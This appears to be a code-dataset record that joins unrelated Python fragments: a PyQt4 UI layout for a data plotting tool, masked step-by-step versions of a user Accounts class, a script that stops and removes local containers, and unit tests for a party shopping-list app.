self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(\"horizontalLayoutWidget_2\"))\n self.horizontalLayout_2 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_2)\n self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_2.setObjectName(_fromUtf8(\"horizontalLayout_2\"))\n self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n self.label_4.setObjectName(_fromUtf8(\"label_4\"))\n self.horizontalLayout_2.addWidget(self.label_4)\n self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().hasHeightForWidth())\n self.comboBox.setSizePolicy(sizePolicy)\n self.comboBox.setObjectName(_fromUtf8(\"comboBox\"))\n self.horizontalLayout_2.addWidget(self.comboBox)\n self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().hasHeightForWidth())\n self.plotButton.setSizePolicy(sizePolicy)\n self.plotButton.setObjectName(_fromUtf8(\"plotButton\"))\n self.horizontalLayout_2.addWidget(self.plotButton)\n self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481, 29))\n self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(\"horizontalLayoutWidget_3\"))\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_3)\n self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_3.setObjectName(_fromUtf8(\"horizontalLayout_3\"))\n self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label_5.setObjectName(_fromUtf8(\"label_5\"))\n self.horizontalLayout_3.addWidget(self.label_5)\n self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().hasHeightForWidth())\n self.comboBox_R1.setSizePolicy(sizePolicy)\n self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))\n self.comboBox_R1.setObjectName(_fromUtf8(\"comboBox_R1\"))\n self.horizontalLayout_3.addWidget(self.comboBox_R1)\n self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)\n self.label.setEnabled(False)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth())\n self.label.setSizePolicy(sizePolicy)\n self.label.setMinimumSize(QtCore.QSize(30, 0))\n self.label.setMaximumSize(QtCore.QSize(30, 29))\n font = QtGui.QFont()\n font.setBold(True)\n font.setItalic(True)\n font.setUnderline(False)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setAutoFillBackground(True)\n self.label.setLineWidth(5)\n self.label.setAlignment(QtCore.Qt.AlignCenter)\n self.label.setObjectName(_fromUtf8(\"label\"))\n self.horizontalLayout_3.addWidget(self.label)\n self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().hasHeightForWidth())\n self.comboBox_R2.setSizePolicy(sizePolicy)\n self.comboBox_R2.setObjectName(_fromUtf8(\"comboBox_R2\"))\n self.horizontalLayout_3.addWidget(self.comboBox_R2)\n self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().hasHeightForWidth())\n self.plotRangeButton.setSizePolicy(sizePolicy)\n self.plotRangeButton.setObjectName(_fromUtf8(\"plotRangeButton\"))\n self.horizontalLayout_3.addWidget(self.plotRangeButton)\n self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481, 29))\n self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(\"horizontalLayoutWidget_7\"))\n self.horizontalLayout_5 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_7)\n self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_5.setObjectName(_fromUtf8(\"horizontalLayout_5\"))\n self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)\n self.label_8.setObjectName(_fromUtf8(\"label_8\"))\n self.horizontalLayout_5.addWidget(self.label_8)\n self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().hasHeightForWidth())\n self.comboBox_2.setSizePolicy(sizePolicy)\n self.comboBox_2.setObjectName(_fromUtf8(\"comboBox_2\"))\n self.horizontalLayout_5.addWidget(self.comboBox_2)\n self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().hasHeightForWidth())\n self.checkBox.setSizePolicy(sizePolicy)\n self.checkBox.setObjectName(_fromUtf8(\"checkBox\"))\n self.horizontalLayout_5.addWidget(self.checkBox)\n self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().hasHeightForWidth())\n self.plotImageButton.setSizePolicy(sizePolicy)\n self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotImageButton.setObjectName(_fromUtf8(\"plotImageButton\"))\n self.horizontalLayout_5.addWidget(self.plotImageButton)\n self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)\n self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().hasHeightForWidth())\n self.clearPlotButton.setSizePolicy(sizePolicy)\n self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))\n self.clearPlotButton.setObjectName(_fromUtf8(\"clearPlotButton\"))\n self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))\n self.horizontalLayoutWidget.setObjectName(_fromUtf8(\"horizontalLayoutWidget\"))\n self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)\n self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout.setObjectName(_fromUtf8(\"horizontalLayout\"))\n self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)\n self.label_9.setObjectName(_fromUtf8(\"label_9\"))\n self.horizontalLayout.addWidget(self.label_9)\n self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(80, 15))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.horizontalLayout.addWidget(self.pushButton)\n self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().hasHeightForWidth())\n self.plotStripsButton.setSizePolicy(sizePolicy)\n self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotStripsButton.setObjectName(_fromUtf8(\"plotStripsButton\"))\n self.horizontalLayout.addWidget(self.plotStripsButton)\n self.verticalLayout.addWidget(self.groupBox_2)\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n MainWindow.setStatusBar(self.statusbar)\n self.toolBar = QtGui.QToolBar(MainWindow)\n self.toolBar.setObjectName(_fromUtf8(\"toolBar\"))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))\n self.menuBar.setObjectName(_fromUtf8(\"menuBar\"))\n MainWindow.setMenuBar(self.menuBar)\n self.actionOpen = QtGui.QAction(MainWindow)\n self.actionOpen.setVisible(True)\n self.actionOpen.setObjectName(_fromUtf8(\"actionOpen\"))\n self.actionQuit = QtGui.QAction(MainWindow)\n self.actionQuit.setObjectName(_fromUtf8(\"actionQuit\"))\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\", None))\n self.groupBox_3.setTitle(_translate(\"MainWindow\", \"PLOT WINDOW\", None))\n self.groupBox.setTitle(_translate(\"MainWindow\", \" BINARY DATA CONVERSION\", None))\n self.label_7.setText(_translate(\"MainWindow\", \" OUTPUT FILE \", None))\n self.browserButton_7.setText(_translate(\"MainWindow\", \"Browse\", None))\n self.filePathEdit_7.setText(_translate(\"MainWindow\", \"D:\\\\detdev\\\\maia\\\\python\\\\\", None))\n self.label_11.setText(_translate(\"MainWindow\", \" DECODER FILE\", None))\n self.browserButton.setText(_translate(\"MainWindow\", \"Browse\", None))\n self.filePathEdit_3.setText(_translate(\"MainWindow\", \"D:\\\\detdev\\\\maia\\\\python\\\\qtGSD\\\\gsd_parse.out\", None))\n self.label_12.setText(_translate(\"MainWindow\", \" INPUT FILE \", None))\n self.browserButton_3.setText(_translate(\"MainWindow\", \"Browse\", None))\n self.filePathEdit_5.setText(_translate(\"MainWindow\", \"D:\\\\detdev\\\\maia\\\\python\\\\\", None))\n self.runButton.setText(_translate(\"MainWindow\", \"Run\", None))\n self.groupBox_2.setTitle(_translate(\"MainWindow\", \" PLOT DATA\", None))\n self.label_3.setText(_translate(\"MainWindow\", \" DATA FILE \", None))\n self.browserButton_4.setText(_translate(\"MainWindow\", \"Browse\", None))\n self.loadButton.setText(_translate(\"MainWindow\", \"Load\", None))\n self.filePathEdit_4.setText(_translate(\"MainWindow\", \"D:\\\\detdev\\\\maia\\\\python\\\\\", None))\n self.label_4.setText(_translate(\"MainWindow\", \" PLOT STRIP \", None))\n self.plotButton.setText(_translate(\"MainWindow\", \"Plot\", None))\n self.label_5.setText(_translate(\"MainWindow\", \" PLOT SERIES\", None))\n self.label.setText(_translate(\"MainWindow\", \"to\", None))\n self.plotRangeButton.setText(_translate(\"MainWindow\", \"Plot\", None))\n self.label_8.setText(_translate(\"MainWindow\", \" PLOT SPECTRA AS 2-D IMAGE\", None))\n self.checkBox.setText(_translate(\"MainWindow\", \"Log\", None))\n self.plotImageButton.setText(_translate(\"MainWindow\", \"Plot Image\", None))\n self.clearPlotButton.setText(_translate(\"MainWindow\", \"Clear\", None))\n self.label_9.setText(_translate(\"MainWindow\", \" PLOT TOTAL COUNTS vs STRIP\", None))\n self.pushButton.setText(_translate(\"MainWindow\", \"Update\", None))\n self.plotStripsButton.setText(_translate(\"MainWindow\", \"Plot Strips\", None))\n self.toolBar.setWindowTitle(_translate(\"MainWindow\", \"toolBar\", None))\n self.actionOpen.setText(_translate(\"MainWindow\", \"Open\", None))\n self.actionQuit.setText(_translate(\"MainWindow\", \"Quit\", None))\n\n",
"step-ids": [
1,
3,
4,
5,
6
]
}
|
[
1,
3,
4,
5,
6
] |
<|reserved_special_token_0|>
class Accounts(object):
<|reserved_special_token_0|>
def __init__(self):
self.users = {}
def add_user(self, user):
if user.id in self.users:
raise UserAlreadyExist
else:
self.users.update({user.id: user})
<|reserved_special_token_0|>
def check_user(self, email):
if email in self.users:
return self.users[email]
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Accounts(object):
<|reserved_special_token_0|>
def __init__(self):
self.users = {}
def add_user(self, user):
if user.id in self.users:
raise UserAlreadyExist
else:
self.users.update({user.id: user})
<|reserved_special_token_0|>
def check_user(self, email):
if email in self.users:
return self.users[email]
def all_users(self):
return self.users
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Accounts(object):
<|reserved_special_token_0|>
def __init__(self):
self.users = {}
def add_user(self, user):
if user.id in self.users:
raise UserAlreadyExist
else:
self.users.update({user.id: user})
def remove_user(self, email):
"""This Method removes a user from users dictonary using his/her
unique email"""
try:
self.users.pop(email)
except KeyError:
raise UserDoesNotExist
def check_user(self, email):
if email in self.users:
return self.users[email]
def all_users(self):
return self.users
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Accounts(object):
""" Creates an Account where users can be stored """
def __init__(self):
self.users = {}
def add_user(self, user):
if user.id in self.users:
raise UserAlreadyExist
else:
self.users.update({user.id: user})
def remove_user(self, email):
"""This Method removes a user from users dictonary using his/her
unique email"""
try:
self.users.pop(email)
except KeyError:
raise UserDoesNotExist
def check_user(self, email):
if email in self.users:
return self.users[email]
def all_users(self):
return self.users
<|reserved_special_token_1|>
from app.exceptions import UserAlreadyExist, UserDoesNotExist
class Accounts(object):
""" Creates an Account where users can be stored """
def __init__(self):
self.users = {}
def add_user(self, user):
if user.id in self.users:
raise UserAlreadyExist
else:
self.users.update({user.id: user})
def remove_user(self, email):
"""This Method removes a user from users dictonary using his/her
unique email"""
try:
self.users.pop(email)
except KeyError:
raise UserDoesNotExist
def check_user(self, email):
if email in self.users:
return self.users[email]
def all_users(self):
return self.users
|
flexible
|
{
"blob_id": "88cc4ae4137cf9c0e9c39874b36f7a2770550f96",
"index": 5431,
"step-1": "<mask token>\n\n\nclass Accounts(object):\n <mask token>\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n <mask token>\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass Accounts(object):\n <mask token>\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n <mask token>\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n\n def all_users(self):\n return self.users\n",
"step-3": "<mask token>\n\n\nclass Accounts(object):\n <mask token>\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n\n def remove_user(self, email):\n \"\"\"This Method removes a user from users dictonary using his/her\n unique email\"\"\"\n try:\n self.users.pop(email)\n except KeyError:\n raise UserDoesNotExist\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n\n def all_users(self):\n return self.users\n",
"step-4": "<mask token>\n\n\nclass Accounts(object):\n \"\"\" Creates an Account where users can be stored \"\"\"\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n\n def remove_user(self, email):\n \"\"\"This Method removes a user from users dictonary using his/her\n unique email\"\"\"\n try:\n self.users.pop(email)\n except KeyError:\n raise UserDoesNotExist\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n\n def all_users(self):\n return self.users\n",
"step-5": "from app.exceptions import UserAlreadyExist, UserDoesNotExist\n\nclass Accounts(object):\n \"\"\" Creates an Account where users can be stored \"\"\"\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n \n def remove_user(self, email):\n \"\"\"This Method removes a user from users dictonary using his/her\n unique email\"\"\"\n try:\n self.users.pop(email)\n except KeyError:\n raise UserDoesNotExist\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n\n def all_users(self):\n return self.users",
"step-ids": [
4,
5,
6,
7,
9
]
}
|
[
4,
5,
6,
7,
9
] |
import sys
import time
from cli.utils import get_container_runtime, get_containers, run_shell_cmd
runtime = get_container_runtime()
def rm(ids):
cmd = f'{runtime} rm {" ".join(ids)}'
sys.stdout.write(f'{cmd}\n')
run_shell_cmd(cmd)
def stop(ids):
cmd = f'{runtime} stop {" ".join(ids)}'
sys.stdout.write(f'{cmd}\n')
run_shell_cmd(cmd)
def undeploy_containers():
containers = [ container for _, container in get_containers().items() ]
running = [ c for c in containers if c.up ]
if len(running) > 0:
stop([ container.id for container in running ])
time.sleep(5)
containers = [ container for _, container in get_containers().items() ]
if len(containers) > 0:
rm([ container.id for container in containers ])
if __name__ == '__main__':
undeploy_containers()
|
normal
|
{
"blob_id": "eb3a32c17d8e5e9f717e813d5612d077c8feac48",
"index": 7145,
"step-1": "<mask token>\n\n\ndef rm(ids):\n cmd = f\"{runtime} rm {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f\"{runtime} stop {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef rm(ids):\n cmd = f\"{runtime} rm {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f\"{runtime} stop {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef undeploy_containers():\n containers = [container for _, container in get_containers().items()]\n running = [c for c in containers if c.up]\n if len(running) > 0:\n stop([container.id for container in running])\n time.sleep(5)\n containers = [container for _, container in get_containers().items()]\n if len(containers) > 0:\n rm([container.id for container in containers])\n\n\n<mask token>\n",
"step-3": "<mask token>\nruntime = get_container_runtime()\n\n\ndef rm(ids):\n cmd = f\"{runtime} rm {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f\"{runtime} stop {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef undeploy_containers():\n containers = [container for _, container in get_containers().items()]\n running = [c for c in containers if c.up]\n if len(running) > 0:\n stop([container.id for container in running])\n time.sleep(5)\n containers = [container for _, container in get_containers().items()]\n if len(containers) > 0:\n rm([container.id for container in containers])\n\n\nif __name__ == '__main__':\n undeploy_containers()\n",
"step-4": "import sys\nimport time\nfrom cli.utils import get_container_runtime, get_containers, run_shell_cmd\nruntime = get_container_runtime()\n\n\ndef rm(ids):\n cmd = f\"{runtime} rm {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f\"{runtime} stop {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef undeploy_containers():\n containers = [container for _, container in get_containers().items()]\n running = [c for c in containers if c.up]\n if len(running) > 0:\n stop([container.id for container in running])\n time.sleep(5)\n containers = [container for _, container in get_containers().items()]\n if len(containers) > 0:\n rm([container.id for container in containers])\n\n\nif __name__ == '__main__':\n undeploy_containers()\n",
"step-5": "import sys\nimport time\nfrom cli.utils import get_container_runtime, get_containers, run_shell_cmd\n\nruntime = get_container_runtime()\n\ndef rm(ids):\n cmd = f'{runtime} rm {\" \".join(ids)}'\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f'{runtime} stop {\" \".join(ids)}'\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef undeploy_containers():\n containers = [ container for _, container in get_containers().items() ]\n running = [ c for c in containers if c.up ]\n if len(running) > 0:\n stop([ container.id for container in running ])\n\n time.sleep(5)\n containers = [ container for _, container in get_containers().items() ]\n\n if len(containers) > 0:\n rm([ container.id for container in containers ])\n\n\nif __name__ == '__main__':\n undeploy_containers()",
"step-ids": [
2,
3,
5,
6,
7
]
}
|
[
2,
3,
5,
6,
7
] |
<|reserved_special_token_0|>
def test_aPartywithOneGuestShouldHaveOnePartyGuest():
party = Party()
lisa = Guest('Lisa', 'female')
party.attendedBy(lisa)
assert 1 == party.numberOfGuests()
def test_aPartywithThreeGuestsShouldHaveThreeGuests():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
assert 3 == party.numberOfGuests()
<|reserved_special_token_0|>
def test_aPartyShouldHaveALocation():
party = Party()
party.setLocation('my House')
assert 'my House' == party.getLocation()
def test_aGuestShouldRevealHerName():
guest1 = Guest('Lisa', 'female')
assert 'Lisa' == guest1.hasName()
<|reserved_special_token_0|>
def test_weShouldBeAbleToAddItemsToShoppingList():
shoppingList = ShoppingList()
shoppingList.add('milk')
assert shoppingList.getItems() == ['milk']
def test_createShoppingListBasedOnParty():
shoppingList = ShoppingList()
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
shoppingList.baseOn(party)
assert shoppingList.getItems() == ['wine for 4', 'food for 4']
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def test_aPartywithNoGuestsShouldHaveNoPartyGuests():
party = Party()
assert 0 == party.numberOfGuests()
def test_aPartywithOneGuestShouldHaveOnePartyGuest():
party = Party()
lisa = Guest('Lisa', 'female')
party.attendedBy(lisa)
assert 1 == party.numberOfGuests()
def test_aPartywithThreeGuestsShouldHaveThreeGuests():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
assert 3 == party.numberOfGuests()
def test_aGuestShouldBeAbleToLeaveAParty():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
party.leftBy(rob)
assert 2 == party.numberOfGuests()
def test_aPartyShouldHaveALocation():
party = Party()
party.setLocation('my House')
assert 'my House' == party.getLocation()
def test_aGuestShouldRevealHerName():
guest1 = Guest('Lisa', 'female')
assert 'Lisa' == guest1.hasName()
<|reserved_special_token_0|>
def test_weShouldBeAbleToAddItemsToShoppingList():
shoppingList = ShoppingList()
shoppingList.add('milk')
assert shoppingList.getItems() == ['milk']
def test_createShoppingListBasedOnParty():
shoppingList = ShoppingList()
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
shoppingList.baseOn(party)
assert shoppingList.getItems() == ['wine for 4', 'food for 4']
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def test_aPartywithNoGuestsShouldHaveNoPartyGuests():
party = Party()
assert 0 == party.numberOfGuests()
def test_aPartywithOneGuestShouldHaveOnePartyGuest():
party = Party()
lisa = Guest('Lisa', 'female')
party.attendedBy(lisa)
assert 1 == party.numberOfGuests()
def test_aPartywithThreeGuestsShouldHaveThreeGuests():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
assert 3 == party.numberOfGuests()
def test_aGuestShouldBeAbleToLeaveAParty():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
party.leftBy(rob)
assert 2 == party.numberOfGuests()
def test_aPartyShouldHaveALocation():
party = Party()
party.setLocation('my House')
assert 'my House' == party.getLocation()
def test_aGuestShouldRevealHerName():
guest1 = Guest('Lisa', 'female')
assert 'Lisa' == guest1.hasName()
def test_weShouldKnowWhoIsAtTheParty():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
assert ['Lisa', 'Rob', 'susan'] == party.getAttendees()
<|reserved_special_token_0|>
def test_weShouldBeAbleToAddItemsToShoppingList():
shoppingList = ShoppingList()
shoppingList.add('milk')
assert shoppingList.getItems() == ['milk']
def test_createShoppingListBasedOnParty():
shoppingList = ShoppingList()
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
shoppingList.baseOn(party)
assert shoppingList.getItems() == ['wine for 4', 'food for 4']
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def test_aPartywithNoGuestsShouldHaveNoPartyGuests():
party = Party()
assert 0 == party.numberOfGuests()
def test_aPartywithOneGuestShouldHaveOnePartyGuest():
party = Party()
lisa = Guest('Lisa', 'female')
party.attendedBy(lisa)
assert 1 == party.numberOfGuests()
def test_aPartywithThreeGuestsShouldHaveThreeGuests():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
assert 3 == party.numberOfGuests()
def test_aGuestShouldBeAbleToLeaveAParty():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
party.leftBy(rob)
assert 2 == party.numberOfGuests()
def test_aPartyShouldHaveALocation():
party = Party()
party.setLocation('my House')
assert 'my House' == party.getLocation()
def test_aGuestShouldRevealHerName():
guest1 = Guest('Lisa', 'female')
assert 'Lisa' == guest1.hasName()
def test_weShouldKnowWhoIsAtTheParty():
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
assert ['Lisa', 'Rob', 'susan'] == party.getAttendees()
def test_weShouldBeAbleToCreateAnEmptyShoppingList():
shoppingList = ShoppingList()
assert shoppingList.getItems() == []
def test_weShouldBeAbleToAddItemsToShoppingList():
shoppingList = ShoppingList()
shoppingList.add('milk')
assert shoppingList.getItems() == ['milk']
def test_createShoppingListBasedOnParty():
shoppingList = ShoppingList()
party = Party()
lisa = Guest('Lisa', 'female')
rob = Guest('Rob', 'male')
susan = Guest('susan', 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
shoppingList.baseOn(party)
assert shoppingList.getItems() == ['wine for 4', 'food for 4']
<|reserved_special_token_1|>
import unittest
from app.party import Party
from app.guest import Guest
from app.shoppingList import ShoppingList
def test_aPartywithNoGuestsShouldHaveNoPartyGuests():
party = Party()
assert 0 == party.numberOfGuests()
def test_aPartywithOneGuestShouldHaveOnePartyGuest():
party = Party()
lisa = Guest("Lisa", 'female')
party.attendedBy(lisa)
assert 1 == party.numberOfGuests()
def test_aPartywithThreeGuestsShouldHaveThreeGuests():
party = Party()
lisa = Guest("Lisa", 'female')
rob = Guest("Rob", 'male')
susan = Guest("susan", 'female')
party.attendedBy(lisa)
party.attendedBy(rob)
party.attendedBy(susan)
assert 3 == party.numberOfGuests()
def test_aGuestShouldBeAbleToLeaveAParty():
party = Party()
lisa = Guest("Lisa", 'female')
rob = Guest("Rob", 'male')
